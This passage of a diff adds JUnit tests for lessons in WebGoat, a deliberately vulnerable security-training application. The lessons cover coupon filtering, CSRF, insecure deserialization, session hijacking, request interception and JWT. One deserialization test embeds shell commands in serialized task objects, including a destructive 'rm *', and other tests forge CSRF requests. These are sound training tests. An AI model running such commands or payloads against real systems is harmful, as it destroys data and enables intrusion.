* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.client_side_filtering;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.client_side_filtering.ShopEndpoint;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.owasp.webgoat.lessons.client_side_filtering.ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 5/2/17.
|
||||
*/
|
||||
@ExtendWith(SpringExtension.class)
|
||||
public class ShopEndpointTest extends LessonTest {
|
||||
|
||||
private MockMvc mockMvc;
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
this.mockMvc = standaloneSetup(new ShopEndpoint()).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void getSuperCoupon() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/" + SUPER_COUPON_CODE))
|
||||
.andExpect(jsonPath("$.code", CoreMatchers.is(SUPER_COUPON_CODE)))
|
||||
.andExpect(jsonPath("$.discount", CoreMatchers.is(100)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void getCoupon() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/webgoat"))
|
||||
.andExpect(jsonPath("$.code", CoreMatchers.is("webgoat")))
|
||||
.andExpect(jsonPath("$.discount", CoreMatchers.is(25)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void askForUnknownCouponCode() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/does-not-exists"))
|
||||
.andExpect(jsonPath("$.code", CoreMatchers.is("no")))
|
||||
.andExpect(jsonPath("$.discount", CoreMatchers.is(0)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void fetchAllTheCouponsShouldContainGetItForFree() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/"))
|
||||
.andExpect(jsonPath("$.codes[3].code", is("get_it_for_free")));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,33 @@
|
||||
package org.owasp.webgoat.lessons.cryptography;
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import javax.xml.bind.DatatypeConverter;
|
||||
import java.security.KeyPair;
|
||||
import java.security.PrivateKey;
|
||||
import java.security.interfaces.RSAPublicKey;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
import static org.junit.jupiter.api.Assertions.fail;
|
||||
|
||||
@Slf4j
|
||||
public class CryptoUtilTest {
|
||||
|
||||
@Test
|
||||
public void testSigningAssignment() {
|
||||
try {
|
||||
KeyPair keyPair = CryptoUtil.generateKeyPair();
|
||||
RSAPublicKey rsaPubKey = (RSAPublicKey) keyPair.getPublic();
|
||||
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(CryptoUtil.getPrivateKeyInPEM(keyPair));
|
||||
String modulus = DatatypeConverter.printHexBinary(rsaPubKey.getModulus().toByteArray());
|
||||
String signature = CryptoUtil.signMessage(modulus, privateKey);
|
||||
log.debug("public exponent {}", rsaPubKey.getPublicExponent());
|
||||
assertTrue(CryptoUtil.verifyAssignment(modulus, signature, keyPair.getPublic()));
|
||||
} catch (Exception e) {
|
||||
log.error("signing failed", e);;
|
||||
fail();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,76 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.csrf;
|
||||
|
||||
import org.hamcrest.core.StringContains;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.csrf.CSRF;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import javax.servlet.http.Cookie;
|
||||
|
||||
import static org.hamcrest.core.Is.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 11/17/17.
|
||||
*/
|
||||
public class CSRFFeedbackTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new CSRF());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void postingJsonMessageThroughWebGoatShouldWork() throws Exception {
|
||||
mockMvc.perform(post("/csrf/feedback/message")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
|
||||
.andExpect(status().isOk());
|
||||
}
|
||||
|
||||
|
||||
@Test
|
||||
public void csrfAttack() throws Exception {
|
||||
mockMvc.perform(post("/csrf/feedback/message")
|
||||
.contentType(MediaType.TEXT_PLAIN)
|
||||
.cookie(new Cookie("JSESSIONID", "test"))
|
||||
.header("host", "localhost:8080")
|
||||
.header("referer", "webgoat.org")
|
||||
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("feedback", StringContains.containsString("the flag is: ")));
|
||||
}
|
||||
}
|
@ -0,0 +1,81 @@
|
||||
package org.owasp.webgoat.lessons.deserialization;
|
||||
|
||||
import org.dummy.insecure.framework.VulnerableTaskHolder;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class DeserializeTest extends AssignmentEndpointTest {
|
||||
|
||||
private MockMvc mockMvc;
|
||||
|
||||
private static String OS = System.getProperty("os.name").toLowerCase();
|
||||
|
||||
@BeforeEach
|
||||
void setup() {
|
||||
InsecureDeserializationTask insecureTask = new InsecureDeserializationTask();
|
||||
init(insecureTask);
|
||||
this.mockMvc = standaloneSetup(insecureTask).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
void success() throws Exception {
|
||||
if (OS.indexOf("win") > -1) {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task")
|
||||
.param("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5"))))
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
} else {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task")
|
||||
.param("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5"))))
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
void fail() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task")
|
||||
.param("token", SerializationHelper.toString(new VulnerableTaskHolder("delete", "rm *"))))
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
void wrongVersion() throws Exception {
|
||||
String token = "rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAECAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjCR4GIQgMLRSoeHQACmVjaG8gaGVsbG90AAhzYXlIZWxsbw";
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task")
|
||||
.param("token", token))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("insecure-deserialization.invalidversion"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
void expiredTask() throws Exception {
|
||||
String token = "rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjCR4IDC0YfvNIeHQACmVjaG8gaGVsbG90AAhzYXlIZWxsbw";
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task")
|
||||
.param("token", token))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("insecure-deserialization.expired"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
void checkOtherObject() throws Exception {
|
||||
String token = "rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l";
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/InsecureDeserialization/task")
|
||||
.param("token", token))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("insecure-deserialization.stringobject"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
}
|
@ -0,0 +1,108 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2021 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.hijacksession;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
|
||||
import org.owasp.webgoat.lessons.hijacksession.cas.Authentication;
|
||||
import org.owasp.webgoat.lessons.hijacksession.cas.HijackSessionAuthenticationProvider;
|
||||
import org.springframework.test.util.ReflectionTestUtils;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.ResultActions;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import javax.servlet.http.Cookie;
|
||||
|
||||
import static org.hamcrest.Matchers.emptyString;
|
||||
import static org.hamcrest.Matchers.not;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.Mockito.lenient;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.cookie;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
/***
|
||||
*
|
||||
* @author Angel Olle Blazquez
|
||||
*
|
||||
*/
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class HijackSessionAssignmentTest extends AssignmentEndpointTest {
|
||||
|
||||
private MockMvc mockMvc;
|
||||
private static final String COOKIE_NAME = "hijack_cookie";
|
||||
private static final String LOGIN_CONTEXT_PATH = "/HijackSession/login";
|
||||
|
||||
@Mock
|
||||
Authentication authenticationMock;
|
||||
|
||||
@Mock
|
||||
HijackSessionAuthenticationProvider providerMock;
|
||||
|
||||
HijackSessionAssignment assignment;
|
||||
|
||||
@BeforeEach
|
||||
void setup() {
|
||||
assignment = new HijackSessionAssignment();
|
||||
init(assignment);
|
||||
ReflectionTestUtils.setField(assignment, "provider", new HijackSessionAuthenticationProvider());
|
||||
mockMvc = standaloneSetup(assignment).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
void testValidCookie() throws Exception {
|
||||
lenient().when(authenticationMock.isAuthenticated()).thenReturn(true);
|
||||
lenient().when(providerMock.authenticate(any(Authentication.class))).thenReturn(authenticationMock);
|
||||
ReflectionTestUtils.setField(assignment, "provider", providerMock);
|
||||
|
||||
Cookie cookie = new Cookie(COOKIE_NAME, "value");
|
||||
|
||||
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
|
||||
.post(LOGIN_CONTEXT_PATH)
|
||||
.cookie(cookie)
|
||||
.param("username", "")
|
||||
.param("password", ""));
|
||||
|
||||
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
|
||||
}
|
||||
|
||||
@Test
|
||||
void testBlankCookie() throws Exception {
|
||||
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
|
||||
.post(LOGIN_CONTEXT_PATH)
|
||||
.param("username", "webgoat")
|
||||
.param("password", "webgoat"));
|
||||
|
||||
result.andExpect(cookie().value(COOKIE_NAME, not(emptyString())));
|
||||
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,118 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2021 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source
|
||||
* ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.hijacksession.cas;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.is;
|
||||
import static org.hamcrest.CoreMatchers.not;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.owasp.webgoat.lessons.hijacksession.cas.Authentication;
|
||||
import org.owasp.webgoat.lessons.hijacksession.cas.Authentication.AuthenticationBuilder;
|
||||
import org.owasp.webgoat.lessons.hijacksession.cas.HijackSessionAuthenticationProvider;
|
||||
|
||||
/***
|
||||
*
|
||||
* @author Angel Olle Blazquez
|
||||
*
|
||||
*/
|
||||
|
||||
class HijackSessionAuthenticationProviderTest {
|
||||
|
||||
HijackSessionAuthenticationProvider provider = new HijackSessionAuthenticationProvider();
|
||||
|
||||
@ParameterizedTest
|
||||
@DisplayName("Provider authentication test")
|
||||
@MethodSource("authenticationForCookieValues")
|
||||
void testProviderAuthenticationGeneratesCookie(Authentication authentication) {
|
||||
Authentication auth = provider.authenticate(authentication);
|
||||
assertThat(auth.getId(), not(StringUtils.isEmpty(auth.getId())));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testAuthenticated() {
|
||||
String id = "anyId";
|
||||
provider.addSession(id);
|
||||
|
||||
Authentication auth = provider.authenticate(Authentication.builder().id(id).build());
|
||||
|
||||
assertThat(auth.getId(), is(id));
|
||||
assertThat(auth.isAuthenticated(), is(true));
|
||||
|
||||
auth = provider.authenticate(Authentication.builder().id("otherId").build());
|
||||
|
||||
assertThat(auth.getId(), is("otherId"));
|
||||
assertThat(auth.isAuthenticated(), is(false));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testAuthenticationToString() {
|
||||
AuthenticationBuilder authBuilder = Authentication.builder()
|
||||
.name("expectedName")
|
||||
.credentials("expectedCredentials")
|
||||
.id("expectedId");
|
||||
|
||||
Authentication auth = authBuilder.build();
|
||||
|
||||
String expected = "Authentication.AuthenticationBuilder("
|
||||
+ "name=" + auth.getName()
|
||||
+ ", credentials=" + auth.getCredentials()
|
||||
+ ", id=" + auth.getId() + ")";
|
||||
|
||||
assertThat(authBuilder.toString(), is(expected));
|
||||
|
||||
expected = "Authentication(authenticated=" + auth.isAuthenticated()
|
||||
+ ", name=" + auth.getName()
|
||||
+ ", credentials=" + auth.getCredentials()
|
||||
+ ", id=" + auth.getId() + ")";
|
||||
|
||||
assertThat(auth.toString(), is(expected));
|
||||
|
||||
}
|
||||
|
||||
@Test
|
||||
void testMaxSessions() {
|
||||
for (int i = 0; i <= HijackSessionAuthenticationProvider.MAX_SESSIONS + 1; i++) {
|
||||
provider.authorizedUserAutoLogin();
|
||||
provider.addSession(null);
|
||||
}
|
||||
|
||||
assertThat(provider.getSessionsSize(), is(HijackSessionAuthenticationProvider.MAX_SESSIONS));
|
||||
}
|
||||
|
||||
private static Stream<Arguments> authenticationForCookieValues() {
|
||||
return Stream.of(
|
||||
Arguments.of((Object) null),
|
||||
Arguments.of(Authentication.builder().name("any").credentials("any").build()),
|
||||
Arguments.of(Authentication.builder().id("any").build()));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,98 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.http_proxies;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
|
||||
import org.owasp.webgoat.lessons.http_proxies.HttpBasicsInterceptRequest;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
public class HttpBasicsInterceptRequestTest extends AssignmentEndpointTest {
|
||||
|
||||
private MockMvc mockMvc;
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
HttpBasicsInterceptRequest httpBasicsInterceptRequest = new HttpBasicsInterceptRequest();
|
||||
init(httpBasicsInterceptRequest);
|
||||
this.mockMvc = standaloneSetup(httpBasicsInterceptRequest).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void success() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/HttpProxies/intercept-request")
|
||||
.header("x-request-intercepted", "true")
|
||||
.param("changeMe", "Requests are tampered easily"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("http-proxies.intercept.success"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void failure() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/HttpProxies/intercept-request")
|
||||
.header("x-request-intercepted", "false")
|
||||
.param("changeMe", "Requests are tampered easily"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("http-proxies.intercept.failure"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void missingParam() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/HttpProxies/intercept-request")
|
||||
.header("x-request-intercepted", "false"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("http-proxies.intercept.failure"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void missingHeader() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/HttpProxies/intercept-request")
|
||||
.param("changeMe", "Requests are tampered easily"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("http-proxies.intercept.failure"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void whenPostAssignmentShouldNotPass() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/HttpProxies/intercept-request")
|
||||
.header("x-request-intercepted", "true")
|
||||
.param("changeMe", "Requests are tampered easily"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("http-proxies.intercept.failure"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
}
|
@ -0,0 +1,43 @@
|
||||
package org.owasp.webgoat.lessons.jwt;
|
||||
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.jwt.JWT;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class JWTDecodeEndpointTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new JWT());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solveAssignment() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/decode")
|
||||
.param("jwt-encode-user", "user")
|
||||
.content(""))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void wrongUserShouldNotSolveAssignment() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/decode")
|
||||
.param("jwt-encode-user", "wrong")
|
||||
.content(""))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
}
|
@ -0,0 +1,71 @@
|
||||
package org.owasp.webgoat.lessons.jwt;
|
||||
|
||||
import io.jsonwebtoken.Jwts;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.jwt.JWT;
|
||||
import org.owasp.webgoat.lessons.jwt.JWTFinalEndpoint;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.util.Date;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class JWTFinalEndpointTest extends LessonTest {
|
||||
|
||||
